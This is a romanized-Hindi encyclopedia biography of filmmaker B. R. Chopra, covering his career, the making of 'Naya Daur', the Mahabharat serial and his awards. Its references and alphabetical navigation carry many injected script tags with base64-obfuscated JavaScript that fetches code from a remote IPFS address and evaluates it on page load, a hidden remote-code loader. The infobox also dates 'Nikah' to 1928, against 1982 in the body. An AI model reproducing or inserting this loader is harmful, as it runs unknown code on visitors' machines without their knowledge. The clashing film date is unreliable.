बी. आर. चोपड़ा

	bi. ar. chop da
	bi. ar. chop da\|200px\|center
poora nam	baldev raj chop da
janm	22 aprail, 1914
janm bhoomi	ludhiyana, panjab
mrityu	5 navambar, 2008
mrityu sthan	muanbee, maharashtr
karm bhoomi	muanbee
karm-kshetr	film nirmata-nirdeshak
mukhy filmean	'naya daur' (1957), sadhana (1958), 'dhool ka phool' (1959), 'qanoon' (1960), 'gumarah' (1963), 'hamaraj' (1967), 'iansaph ka tarajoo' (1980), 'nikah' (1928)
shiksha	aangrezi sahity mean snatakottar
vidyalay	gavarnameant k aaulej, lahaur
vishesh yogadan	suprasiddh parshvagayika asha bhoansale ko bhi kamayabi ke shikhar par le jane mean bi. ar. chop da ki filmoan ka aham yogadan tha.
nagarikata	bharatiy
any janakari	apane kairiyar ki shurooat bataur film patrakar ke roop mean ki thi. filmi patrika 'sine herald' mean ap filmoan ki samiksha likha karate the.

baldev raj chop da (aangrezi: Baldev Raj Chopra, janm- 22 aprail, 1914, ludhiyana, panjab; mrityu- 5 navambar, 2008, muanbee, maharashtr) bharatiy sinema jagath mean 'bi. ar. chop da' ke nam se prasiddh haian. unhean ek aise filmakar ke roop mean yad kiya jata rahega, jinhoanne parivarik, samajik aur saph-suthari filmean banakar lagabhag paanch dashak tak sine premiyoan ke diloan mean apani khas pahachan banaee. 'naya daur', 'vaqt', 'hamaraj', 'babul' aur 'bagavan' jaisi jivan mean rachi-basi kahaniyoan ko darshati bi. ar. chop da ki filmean aj bhi sine premiyoan ke dil aur dimag par amit chhap chho dati haian. unhoanne vidhava punarvivah aur veshyavritti jaisi samajik samasya ko apani filmoan ka vishay banaya. unaki zyadatar filmean kisi n kisi samajik mudde par adharit rahati thian. film jagath mean die ge unake yogadan ke lie bharat sarakar ne unhean filmoan ke sabase b de samman 'dada sahab phalke puraskar' dekar sammanit kiya.

janm tatha shiksha

bi. ar. chop da ka janm 22 aprail, 1914 ko tatkalin panjab rajy ke ludhiyana shahar mean hua tha. unhoanne aangrezi sahity mean apani snatakottar ki shiksha lahaur ke mashahoor 'gavarnameant k aaulej' mean poori ki thi. is k aaulej ne film aur sahity jagath ko 'balaraj sahani', 'devanand', 'chetan anand' aur 'khushavant sianh' jaisi shakhsiyatean di haian. bi. ar. chop da bachapan ke dinoan se hi film mean kam kar shoharat ki bulandiyoan par pahuanchana chahate the. desh ke vibhajan ke pashchath unaka parivar dilli a gaya, lekin kuchh din ke bad bi. ar. chop da ka man vahaan nahian laga aur vah apane sapanoan ko sakar karane ke lie dilli se mumbee a ge.

vyavasay ki shuruat

bi. ar. chop da ne apane kairiyar ki shurooat film patrakar ke roop mean ki thi. filmi patrika 'sine herald' mean vah filmoan ki samiksha likha karate the. kuchh hi samay mean bi. ar. chop da ne is patrika ka sara bhar svayan utha liya aur 1947 tak ise nirantar chalaya. isi varsh unhoanne aee. es. jauhar ke sath milakar film 'chaandani chauk' ka nirman shuroo kiya, lekin lahaur mean dange bh dakane ke karan unhean is film ko bich mean hi band karana p da.^[1]

film nirman

varsh 1949 mean film 'karavat' se unhoanne film nirman ke kshetr mean kadam rakha, lekin durbhagy se yah film b aauks aauphis par buri tarah asaphal huee. 1951 mean ashok kumar abhinit film 'afasana' ko bi. ar. chop da ne nirdeshit kiya. film ne b aauks aauphis par apane pachchis saptah poore kie aur 'rajat jayanti' (silvar jubali) manaee. is film ki saphalata ke bad bi. ar. chop da film iandastri mean apani pahachan banane mean saphal ho ge. varsh 1955 mean unhoanne 'bi. ar. filmas bainar' ka nirman kiya. is bainar tale unhoanne sabase pahale film 'naya daur' ka nirman kiya. film naya daur ke madhyam se bi. ar. chop da ne adhunik yug aur gramin sanskriti ke bich takarav ko roopahale parde par pesh kiya, jo darshakoan ko kafi pasand aya. film 'naya daur' ne saphalata ke ne kirtiman sthapit kie aur bi. ar. chop da ko akash ki bulandiyoan par pahuancha diya.

samajik filmean

apani is saphalata ke bad bi. ar. chop da ne pichhe mu dakar nahian dekha aur ek se badhakar ek filmoan ka nirman kar darshakoan ka bharapoor manoranjan kiya. in filmoan mean 'sadhana' (1958), 'qanoon' (1960), 'gumarah' (1963) aur 'hamaraz' (1967) jaisi suparahit filmean shamil haian. bi. ar. chop da ke bainar tale nirmit filmean samaj ko sandesh dene vali hoti thian. sath ke dashak ke daur mean nirmit filmean sangit pradhan hua karati thian. lekin bi. ar. chop da apane darshakoan ko har bar kuchh naya dena chahate the. isi bat ka dhyan rakhate 1960 mean unhoanne 'qanoon' jaisi prayogatmak film ka nirman kiya tha. yah film iandastri mean kiya gaya ek naya prayog tha. jab film ka nirman bagair ganoan ke bhi kiya gaya.^[1]

yogadan

bi. ar. chop da ne apane bhaee aur jane mane film nirmata-nirdeshak yash chop da ko bhi shoharat ki bulandiyoan par pahuanchane mean aham yogadan diya tha. 1959 mean pradarshit film 'dhool ka phool', 'vaqt' aur 'ittafak' jaisi filmoan ki saphalata ke bad hi yash chop da film iandastri mean ek nirdeshak ke roop mean sthapit hue the. suprasiddh parshvagayika asha bhoansale ko bhi kamayabi ke shikhar par le jane mean nirmata aur nirdeshak bi. ar. chop da ki filmoan ka aham yogadan tha. pachas ke dashak mean jab asha bhoansale ko keval bi aur si gred ki filmoan me hi gane ka mauka mila karata tha, us samay bi. ar. chop da ne hi asha bhoansale ki pratibha ko pahachana aur apani film 'naya daur' mean gane ka mauka diya. yah film asha bhoansale ke sine kairiyar ki pahali suparahit film sabit huee.

is film mean mohammad raphi aur asha bhoansale ke gae yugal git bahut lokapriy hue, jinamean 'maang ke sath tumhara', 'u de jab jab julphe teri' adi git shamil haian. film 'naya daur' ki kamayabi ke bad hi asha ji ko apani manzil prapt huee thi. isake bad bi. ar. chop da ne asha ji ko apani aur bhi kee filmoan mean gane ka mauka diya. in filmoan mean 'vaqt' 'gumarah', 'hamaraj', 'adami aur iansan', aur 'dhuandh' pramukh haian. asha bhoansale ke alava parshvagayak mahendr kapoor ko bhi hindi film iandastri mean sthapit karane mean bi. ar.chop da ki aham bhoomika rahi hai.^[1]

mahabharat siriyal ka nirman

svasthy kharab rahane ke karan assi ke dashak mean bi. ar. chop da ne filmoan ka nirman karana kuchh kam kar diya. is dauran 1980 mean unhoanne 'iansaph ka tarajoo' aur 'nikah' 1982 ka nirman kiya. varsh 1985 mean bi. ar .chop da ne darshakoan ki rag ko pahachanate hue chhote parde ki or bhi rukhakar liya. dooradarshan ke itihas mean ab tak sabase zyada kamayab rahe siriyal 'mahabharat' ke nirman ka shrey bhi bi. ar. chop da ko hi jata hai. 96 pratishat darshakoan tak pahuanchane ke sath hi is siriyal ne apana nam 'giniz buk aauf varld rik aaurd' mean bhi darj karaya. bi. ar. chop da ke lie yah ek mahanh upalabdhi thi.

puraskar v samman

bi. ar. chop da ko prapt hue samman par yadi gaur kiya jae to unhean 1998 mean hindi sinema ke sarvochch samman 'dada sahab phalke puraskar' se sammanit kiya gaya. isake alava 1960 mean pradarshit film 'qanoon' ke lie vah sarvashreshth nirdeshak ke roop mean 'film feyar puraskar' se sammanit kie ge the. bahumukhi pratibha ke dhani bi. ar. chop da ne film nirman ke alava 'bagavan' aur 'babul' ki kahani bhi likhi.^[1]

nidhan

apani nirmit filmoan se darshako ke bich vishisht pahachan banane vale filmakar bi. ar. chop da ne 5 navambar, 2008 ko is duniya ko alavida kar diya.

film 'naya daur'

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thumb|250px|naya daur film 'naya daur' ke nirman ki kahani bhi kam dilachasp nahian hai. is film ki kahani akhtar mirza ji ne likhi thi. is behad hat ke kahani ko mahaboob khan, es. mukharji aur es. es. vasan jaise nirdeshakoan ne sire se nakar diya tha. is vishay mean unaki ray thi ki yah ek badhiya d aaukyoomeantri film to ban sakati hai, par ek fichar film kabhi nahian ban sakati. tab bi. ar. chop da ne isi kahani par kam karane ka phaisala kiya. lekin jab unhoanne dilip kumar ke sath is film ki charcha ki to unhoanne kahani sunane se hi inkar kar diya. bi. ar. chop da ki agali pasand ashok kumar the. ve unake pas pahuanche. ashok kumar ka manana tha ki unaka chhavi shahari hai aur ve is gaanv ke kiradar ke lie nahian jameangean, lekin unhoanne bi. ar. chop da ki or se dilip kumar se ek bar phir bat ki. is bar dilip kumar raji ho ge. adhunikata ki dau d mean pisane vale ek am gramin ki kahani ko film ke parade par lekar ana asan nahian tha. kuchh haphtoan tak karadar stoodiyo mean shoot karane ke bad lagabhag 100 logoan ki tim ko kooch karana tha. autador lokeshan ke lie, jo ki bhopal ke as-pas tha, vahian shootiang honi thi. un dinoan madhubala aur dilip kumar ke prem ke charche iandastri mean mashahoor the, to film ki nayika madhubala ke pita ne madhubala ko shoot par bhejane se inkar kar diya. bi. ar. chop da ne kort mean mukadama l da, apil mean tark diya ki film ki kahani ke lie yah aut dor bahut zaroori hai. dilip kumar ne bi. ar. ke paksh mean gavahi di.^[2]

mukadama to unhoanne jit liya, par madhubala ko qanooni daanv pechoan se bachane ke lie kes vapas lena p da, aur is tarah film mean madhubala ke sthan par vaijayanti mala ka agaman hua. mahaboob khan ki 'madar iandiya' ke lie libarti sinema 10 haphtoan ke lie buk tha. par film taiyar n ho pane ke karan unhoanne bi. ar. chop da ki 'naya daur' ko apane buk kie hue 10 haphte de die, sath mean hidayat bhi di ki chaho to 5 haphtoan ke lie le lo, tumhari is 'taange vale ki kahani' ko pata nahian darshak milean bhi ya nahian. bad mean yahi mahaboob khan the, jinhoanne jab film 'naya daur' ne apani rajat jayanti manaee to bi. ar. chop da ko unaki film ke primiyar ke lie mukhy atithi hone ka agrah kiya. bi. ar. chop da un nirdeshakoan mean the, jinhean apane chunav aur apane phaisaloan par hamesha poora vishvas tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 yugapurush bi.ar. chop da (hindi). . abhigaman tithi: 29 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[mcc-1] 1.0 ^1.1 ^1.2 ^1.3 yugapurush bi.ar. chop da (hindi). . abhigaman tithi: 29 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] . ar. chop da (hindi). . abhigaman tithi: 29 sitambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]

bi. ar. chop da
bi. ar. chop da\|200px\|center
poora nam	baldev raj chop da
janm	22 aprail, 1914
janm bhoomi	ludhiyana, panjab
mrityu	5 navambar, 2008
mrityu sthan	muanbee, maharashtr
karm bhoomi	muanbee
karm-kshetr	film nirmata-nirdeshak
mukhy filmean	'naya daur' (1957), sadhana (1958), 'dhool ka phool' (1959), 'qanoon' (1960), 'gumarah' (1963), 'hamaraj' (1967), 'iansaph ka tarajoo' (1980), 'nikah' (1928)
shiksha	aangrezi sahity mean snatakottar
vidyalay	gavarnameant k aaulej, lahaur
vishesh yogadan	suprasiddh parshvagayika asha bhoansale ko bhi kamayabi ke shikhar par le jane mean bi. ar. chop da ki filmoan ka aham yogadan tha.
nagarikata	bharatiy
any janakari	apane kairiyar ki shurooat bataur film patrakar ke roop mean ki thi. filmi patrika 'sine herald' mean ap filmoan ki samiksha likha karate the.